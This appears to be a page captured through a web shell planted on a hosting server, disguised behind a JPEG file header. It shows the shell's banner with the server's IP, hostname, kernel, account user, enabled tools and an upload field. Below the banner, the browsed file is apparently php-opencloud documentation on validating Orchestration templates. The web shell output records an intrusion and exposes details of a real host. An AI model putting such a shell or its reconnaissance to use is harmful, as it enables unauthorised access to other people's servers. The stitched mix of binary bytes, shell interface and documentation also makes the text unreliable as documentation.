����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.169 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/vendor/rackspace/php-opencloud/doc/services/orchestration/ |
Upload File : |
Templates
=========
An Orchestration template is a JSON or YAML document that describes how
a set of resources should be assembled to produce a working deployment
(known as a `stack <#stacks>`__). The template specifies the resources
to use, the attributes of these resources that are parameterized and the
information that is sent to the user when a template is instantiated.
Validating templates
--------------------
Before you use a template to create a stack, you might want to validate it.
Validate a template from a file
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
If your template is stored on your local computer as a JSON or YAML
file, you can validate it as shown in the following example:
.. code-block:: php
use OpenCloud\Common\Exceptions\InvalidTemplateError;
try {
$orchestrationService->validateTemplate(array(
'template' => file_get_contents(__DIR__ . '/lamp.yaml')
));
} catch (InvalidTemplateError $e) {
// Use $e->getMessage() for explanation of why template is invalid
}
`Get the executable PHP script for this example <https://raw.githubusercontent.com/rackspace/php-opencloud/master/samples/Orchestration/validate-template-from-template-url.php>`_
Validate Template from URL
~~~~~~~~~~~~~~~~~~~~~~~~~~
If your template is stored as a JSON or YAML file in a remote location
accessible via HTTP or HTTPS, you can validate it as shown in the
following example:
.. code-block:: php
use OpenCloud\Common\Exceptions\InvalidTemplateError;
try {
$orchestrationService->validateTemplate(array(
'templateUrl' => 'https://raw.githubusercontent.com/rackspace-orchestration-templates/lamp/master/lamp.yaml'
));
} catch (InvalidTemplateError $e) {
// Use $e->getMessage() for explanation of why template is invalid
}
`Get the executable PHP script for this example <https://raw.githubusercontent.com/rackspace/php-opencloud/master/samples/Orchestration/validate-template-from-template-url.php>`_